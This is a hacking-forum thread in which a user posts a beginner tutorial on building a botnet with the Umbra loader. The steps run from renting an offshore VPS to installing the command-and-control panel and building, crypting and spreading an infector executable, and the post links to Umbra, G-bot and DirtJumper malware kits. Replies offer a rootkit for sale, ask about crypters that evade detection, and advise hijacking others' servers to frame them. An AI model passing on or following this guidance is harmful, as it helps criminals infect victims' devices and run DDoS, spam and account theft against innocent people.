Thread: [? Botnet Tutorial: How to make your own botnet ?](#)

Smokie - July 17, 2012, 4:26 am

Botnet Tutorial, Created by Smokie.

[#1] - Welcome.

Hello there, im glad that u are reading this tutorial about botnets, I hope you enjoy my tutorial (My first one).

If u see any gramma Fails, Please let me know (My first language isnt English)

[#2] - What is a botnet.

In this section i will try to explain what a botnet is, And what u can do with it.

- What is a botnet.

A botnet is a network of Infected computers, It also can be Phones, iPads , And other mobile devices,

- How big are botnets

Botnets Can be very small, like 100 bots, But it also can be VERY big, then we are talking about +20K (Over a Mill can be possible to)

- What can i do with a botnet

There are a lot of things u can do with a botnet, Bellow u will see a list + explanation
identity theft (Carding): Im not going to explain this. (Saw it isnt allowed here)

Spamming: Sending Random emails to Lots of Emails at once (Can get u some big money)

DDOS: Most people use there botnet for DDOS, Will explain DDOS later.

Account Stealing: Something like Carding (Just normal accounts like emails and game accounts)

[#3] - What is DDOS and DOS.

DDOS: DDOS means Distributed denial of service, With this type of attack a Botnet will attack one target at once (Power depends on the Infected Devices)

DOS: DOS means Denial of service with this type of attack only one device will attack a target.

[#4] - How to make a botnet.

A botnet isnt hard to make, U just need the resources, That can be a VPS/Dedicated server , and Ofcourse a C&C (Control and Command System)

Download links will be at the end of this tutorial.

Now im going to explain you very fast how to setup your own botnet (Umbra loader)

#1) First u need to find a VPS/Dedicated server where you can host your botnet (I recommend you Russian, Romania or German Hosting (For small botnets a US vps will work also)

You can get a cheap VPS bellow here. <http://www.vopahost.com/self-managed-vps/>

#2) If u buy a vps with CentOS, Then u need to install a Apache server, and mysql Serve

U can do that by enter the follow commands in your CentOS Vps.

yum install httpd

yum install mysqld ([Link](#))

yum install php ([Link](#))

#3) After installed these things, Go to /var/www/html/ And create a folder (Do it with ftp)

Upload Umbra in that folder, then go to /YourCreatedFolder/Panel/inc/config.php and edit this to your settings.

After edting , Go to your browser, And then type in

http://YourIpOrDomain/YourCreatedFolder/Panel/install.php, And the panel will be installed.

Now u can acces your Panel with the following link:

ttp://YourIpOrDomain/YourCreatedFolder/Panel/

Now u can build your Virus.exe, Go to the umbra folder (In your own pc) And open prjBuilder.exe

Now enter all your settings in here, And spread! (First crypt it ofc)

[#5] - Ok what now?.

Now you have your Herder panel online, And now u want to ddos right?, U can search on google for G-bot 1.7 Cracked or Dirtjumper.

Install will be the same as Umbra.

[#6] - Downloads.

Umbra 1.1.0 : <http://www.mijnbestand.nl/Bestand-SGUYCQNBYGYN.rar> (I do not own this)

G-bot 2.2 : <http://www.mijnbestand.nl/Bestand-EQJTBXMXNBO7.rar> (I do not own this)

DirtJumper V5: <http://www.mijnbestand.nl/Bestand-46NCZZGZYPFJ.rar> (I do not own this)

(Or get a Private Bot like me =D)

[#7] - The End.

Thanks for reading my first tutorial on hackforums.net

Tutorial 100% created by Smokie.

Have a good day.

hanswurscht92 - July 17, 2012, 4:29 am

Well, it's a nice tut but I think everything in there is already explained on HF in other tutorials. Still I think it will be helpful ;)

RaTs123 - July 17, 2012, 4:30 am

Very good tutorial mate. It was easy to understand and I think most of the members here will like it too.

Smokie - July 17, 2012, 4:30 am

(Jul 17, 2012 04:30 AM)RaTs123 Wrote: [\[CITE\]](#) Very good tutorial mate. It was easy to understand and I think most of e members here will like it too.

Thanks man, I will created some more tutorial later.

Skys - July 17, 2012, 4:32 am

This is a great tutorial if you did write it all. Good job buddy.

MarshViperX^ - July 17, 2012, 4:32 am

Thanks, I was searching just for this.

Smokie - July 17, 2012, 4:34 am

(Jul 17, 2012 04:32 AM)Skys Wrote: [\[CITE\]](#) This is a great tutorial if you did write it all. Good job buddy.

Thanks Skys, Everything is created by me, (Was hard to remove most of the Gramma Fails)

Lordflasheart - July 17, 2012, 4:36 am

I don't visit this section, just wanted to see your first tutorial and daaaym your pretty HQ!
Good luck on HackForums buddy!

- Lord. ?

Smokie - July 17, 2012, 4:46 am

(Jul 17, 2012 04:36 AM)Lordflasheart Wrote: [\[CITE\]](#) I don't visit this section, just wanted to see your first tutorial and daaaym your pretty HQ!
Good luck on HackForums buddy!

- Lord. ?

Thank your Very mutch, Working on my Sale thread right now.

dresdenvivek - July 17, 2012, 6:35 am

hmm.. a good one mate.. especially with your emphasis on vps..

Smokie - July 17, 2012, 7:20 am

(Jul 17, 2012 06:35 AM)dresdenvivek Wrote: [\[CITE\]](#) hmm.. a good one mate.. especially with your emphasis on vps..
Whats wrong with the vps? Its just a example.

Thepain7x - July 17, 2012, 8:42 am

Well... it's a short but very good tutorial! But u only explained http botnets, right? Next time u should also explain IRC and p2p botnets.

Smokie - July 17, 2012, 9:31 am

(Jul 17, 2012 08:42 AM)Thepain7x Wrote: [\[CITE\]](#) Well... it's a short but very good tutorial! But u only explained http botnets, right? Next time u should also explain IRC and p2p botnets.
My next tutorial will be about IRC and p2p Botnets, Current working on that tutorial.

Rouge Status - July 17, 2012, 5:04 pm

Nice to see such a new HQ member. :) I'm glad I sent you down the "right" path haha. Good luck with your future here on HF. Nice TuT by the way, maybe next time try to space the lines of text so it's easier to read. Also, post screen shots of each step or a video. Other than that you did a fine job.

Smokie - July 17, 2012, 5:38 pm

(Jul 17, 2012 05:04 PM)Raspy Wrote: [\[CITE\]](#) Nice to see such a new HQ member. :) I'm glad I sent you down the "right" path haha. Good luck with your future here on HF. Thanks you very mutch Raspy, Im created a new tutorial Soon.

shr1nk - July 18, 2012, 3:33 pm

nice tut buddy .. thankx
but its quit old stuff na

jordannnn - July 18, 2012, 4:47 pm

Its a good one! Only you should explain how to build it + more pics but yh nice work

Red Raider - August 17, 2012, 2:52 am

Hey, Smokie. Very nice tut. It was very noob friendly. But im sure there are tons of people looking for free vps's, any links for those people?(even thow i know its almost impossible to fine one but worth mentioning there is none)

Its over 9000

hackson25 - August 17, 2012, 5:45 am

nice tutorial,..it help alot here..i will try this out tonight

Smokie - August 17, 2012, 9:23 am

Ok good luck man, I hope you like it.

Boytoy™ - August 20, 2012, 6:35 pm

Very nice tutorial mate, I'm looking forward to using this in the future, I applied on your forums by the way.. Username Boytoy.

boy1da - August 23, 2012, 8:50 am

cool thx for that tutorial man big up

Smokie - August 23, 2012, 9:02 am

(Aug 23, 2012 08:50 AM)boy1da Wrote: [\[CITE\]](#) cool thx for that tutorial man big up

Thank you very much, I hope more people will enjoin it.

?Sakura? - August 23, 2012, 10:02 am

Hello,

Nice but you should remove gbot and as well as Dirt Jumper.

Dirt Jumper needs an uac bypass because it will only infect xp users. Who ever is setting up the botnet will think they did it wrong. Gbot2.2 commands does not work because it only connects to the panel, it is not a full crack. This they will have major problems. Also they are in Russian which people will not understand

L?ve,
Me:)

Smokie - August 23, 2012, 10:24 am

Hello,

No one would waste their money and time on dirt jumper vXXX which is terrible. There is no "good" crack unless it was cracked again. The one by apocalypse is trash.

Yes let's spend \$200 when we just started botnet....

So your saying if I download your version of dirt jumper, I will have a 100% install rate to xp, Vista, and Windows 7 users?

L?ve,

Me:)

Smokie - August 23, 2012, 10:55 am

L?ve,

Me:)

Thats not what im saying, And if you just started a botnet, start with umbra :P

?Sakura? - August 23, 2012, 11:01 am

(Aug 23, 2012 10:55 AM)Smokie Wrote: [\[CITE\]](#) Thats not what im saying, And if you just started a botnet, start with umbra :P

Hello,

Yes I agree.

BTW nice tutorial for people who uses vps

L?ve,

Me:)

Hacker16 - August 24, 2012, 12:33 pm

do u know where to get a rootkit? not to expensive. pm me if so. thanks

RVZE - August 26, 2012, 11:05 pm

Really great tutorial! May use this in the future :)

?Sakura? - August 27, 2012, 1:00 am

(Aug 24, 2012 12:33 PM)Hacker16 Wrote: [\[CITE\]](#) do u know where to get a rootkit? not to expensive. pm me if so. thanks

Hello,

Why the hell are you asking where to get a rootkit?

Yes I sell a rootkit that infects x64 for \$2.5k

PM me if your interested (oh?)

L?ve,

Me:)

Mr.Telo - August 27, 2012, 9:31 am

This is a great tutorial if you did write it all. Good job buddy.

Thanks, Yes i created this tutorial 100%

Artisanal - November 9, 2012, 8:34 am

Download Link broken ..

Could you re upload it somewhere else ?

gzahl - November 9, 2012, 9:19 am

yes most things can u find on. but short and good

lakritz - November 9, 2012, 9:45 am

Hi man. Really good tutorial, just one thing, do you know if i can get a free vps so i can try it. Have never done a botnet before but i really want to learn!

Thanks in advance.

anonymous6969 - December 3, 2012, 10:46 am

well done bro..very good tut bro.keep it up!

RO-VPS - December 3, 2012, 11:17 am

Thanks for the nice tutorial. Hope for more :)

ayoooUjelly - December 3, 2012, 12:41 pm

Thanks for the nice tutorial mate. Gonna make some people mad. :D

emailsoftware - March 25, 2013, 11:37 am

thanks for the share about botnet, cheers

The Anonymous - March 25, 2013, 12:29 pm

how you got private bot, did you made it?

uid0.su - March 27, 2013, 11:35 am

nice tutorial thnx,what private bot are you using and price?

tiburond - March 27, 2013, 12:14 pm

thank you very much for the tutorial friend greetings

0x03a8 - April 2, 2013, 8:40 am

Update the link: <http://www.vopahost.com/self-managed-vps/>
to:<http://www.liquilayer.com/self-managed-vps>

typhoid - April 3, 2013, 4:07 am

need umbra and g bot link can anyone help me please thanks bruv

dinos_kyriakou - April 6, 2013, 1:54 pm

Hello

I need to setup a botnet for a specific job. i need help an ofc reward will be given.

k0diak - April 6, 2013, 7:06 pm

Nice tutorial... i read this and its very good. :D

Piecebook - June 6, 2013, 10:24 pm

can i ask??how you use botnets for DDOS?

FrankServices - July 21, 2013, 11:20 am

(Jun 6, 2013 10:24 PM)Piecebook Wrote: [CITE](#) can i ask??how you use botnets for DDOS?

This user's account is closed. So no reason asking questions here.

In addition download links are dead too.

xzempt - July 21, 2013, 5:12 pm

anyone making decent money with a litecoin mining botnet?

nani680 - July 22, 2013, 3:44 am

very good guide, will certainly come in handy thanks

Kenos - July 22, 2013, 7:38 am

Well, it's a nice tutorial;) I hope that many people will benefit from this.

KiLLSWLTCH - September 19, 2013, 7:33 pm

please what will i do with my bots? where can i see what they are doing on thier pc

rhyfe - October 6, 2013, 12:32 am

I don't really understand the Cpanel part with the vps can somebody please explain that to me

Rapierz - October 28, 2013, 6:07 pm

Great tutorial, other tut using a free host that will be shut down fast

greekmaster123 - November 1, 2013, 8:11 pm

very helpful tutorial!!! thank you very much!!

Revasi0n - November 24, 2013, 6:08 am

nederlands? ik zie het aan je links van sites

maar heb je eenige ervaring met het hacken van routers of game-accounts?

voeg me dan ff toe op skype:

kyllian.hoek

yehias - November 24, 2013, 12:59 pm

WTF awesome my friend keep going it will be amazing for noobs go head ! thx

David Tennant - November 24, 2013, 1:02 pm

You explained things really well with little detail. I think this will really help newbies who want to learn. If you want, I can type up a good copy, help with formatting and correct all grammar/spelling mistakes for you.

Squishedlemons - November 24, 2013, 1:22 pm

nice tutorial man i will really try this

protocoller - December 30, 2013, 5:43 pm

verry good guide thank you!!!

it's really helpfull

The Edge - January 1, 2014, 3:57 am

Very nice tut! Thank you! I'm going to buy a VPS right now and then will try this out!

exploitmaster - January 4, 2014, 10:38 am

The training was wonderful and its easy to understand

Unidan - January 21, 2014, 9:49 am

Can anyone recommend a good Russian, Romania or German Hosting vps?

AkiraKiku - January 23, 2014, 9:38 am

Great tutorial. Thanks a lot for sharing the knowledge around here. cheers!

th3j35t3r5c4v3 - February 12, 2014, 11:07 pm

Awesome tutorial man! Keep it up! :)

Homunculus - February 13, 2014, 8:36 am

I made a great comprehensive video tutorial on how you can check this thread on how to setup the latest zeus botnet 2014. it grabs the latest mozilla firefox browser.

<https://hackforums.net/showthread.php?tid=4057507>

ckhawks - March 12, 2014, 7:53 pm

Really nice.

Character 35 Character

oldy2511 - March 12, 2014, 8:06 pm

Thanks alot very helpful info here!

KingNemesis - May 30, 2014, 11:32 am

Just saw this googling.

Why would u need a vps?

klemmett - May 31, 2014, 1:47 pm

Thanks for this clear, lucid guide. I don't understand why anyone would expose their home IP if RAT-ing. This is the best guide to VPS I've seen.

GottaObey - July 18, 2014, 11:47 pm

I will be using this .! Thank you very much .

Da_prince - July 23, 2014, 3:13 pm

This is a great tutorial if you did write it all. Good job buddy.

Daprince - August 29, 2014, 12:56 am

Thanks, I really appreciate, it really helped

Magicarp - August 29, 2014, 4:58 am

Thanks for the guide, very helpful.

LIIMIITSS - January 24, 2015, 12:59 pm

Thanks, I was searching just for this.

David Tennant - January 24, 2015, 2:14 pm

(Jan 24, 2015 01:59 PM)LIIMIITSS Wrote: [CITE](#) Thanks, I was searching just for this.

Haha this is an ancient thread, man. If you have any other questions though, hmu

AlloD - March 16, 2015, 12:55 pm

Very good tutorial mate. It was easy to understand and I think most of the members here will like it too.

nepHaXOr - May 8, 2015, 8:34 pm

Good tuts. So simple. Thanks mate

king1245 - May 12, 2015, 9:31 am

thanks for sharing a good thread

darkelite187 - May 12, 2015, 12:12 pm

just one more thing to add when u do use bots and take over comp thy become zombies

king1245 - May 14, 2015, 10:04 am

download link dead ??????

Viariouz - June 7, 2015, 12:17 am

Already got a few thousand downloads on uTorrent and Pirate Bay. Made it easier to build my botnet back up again, thanks. Also recommendation to you guys don't run your commander on a computer owned by you because it can be traced back to you very easily. Hijack somebody else's server and use it to frame their ass.

killedacow - June 12, 2015, 9:54 pm

do you NEED a vps? Isn't there a way to infect someone and ddos without such thing.

Benefactor - June 12, 2015, 10:10 pm

(Jun 12, 2015 09:54 PM)killedacow Wrote: [\[CITE\]](#) do you NEED a vps? Isn't there a way to infect someone and ddos without such thing.

Yes, if you want to get busted.

liglig999 - October 13, 2015, 7:32 am

Thanks for the explanation , i am new to "hacking" ddos and so on but i think i can get into with pp like you ;) Have a nice Day

Greetz TChin

xoreg93 - November 7, 2015, 3:48 am

Very helpful for me i am a begginer.

Gizter123 - November 7, 2015, 6:58 am

Thanks for this TUT ! Very helpful ! Thanks mate !

brekete101 - November 8, 2015, 4:19 am

Help, I need a good botnet. I am a noob and I would like to have some assistance in getting a good and stable bot FUD. please pm me. Thanks

zomgzomg - November 26, 2015, 8:56 pm

which crypter do you use with umbra to make it FUD?

UDP RAW - November 27, 2015, 8:32 am

Way to resurrect this ancient shit.

vuzulux - November 27, 2015, 1:23 pm

Thats really intresting.
Ill mainly use it for DDOS.
ty bro ?
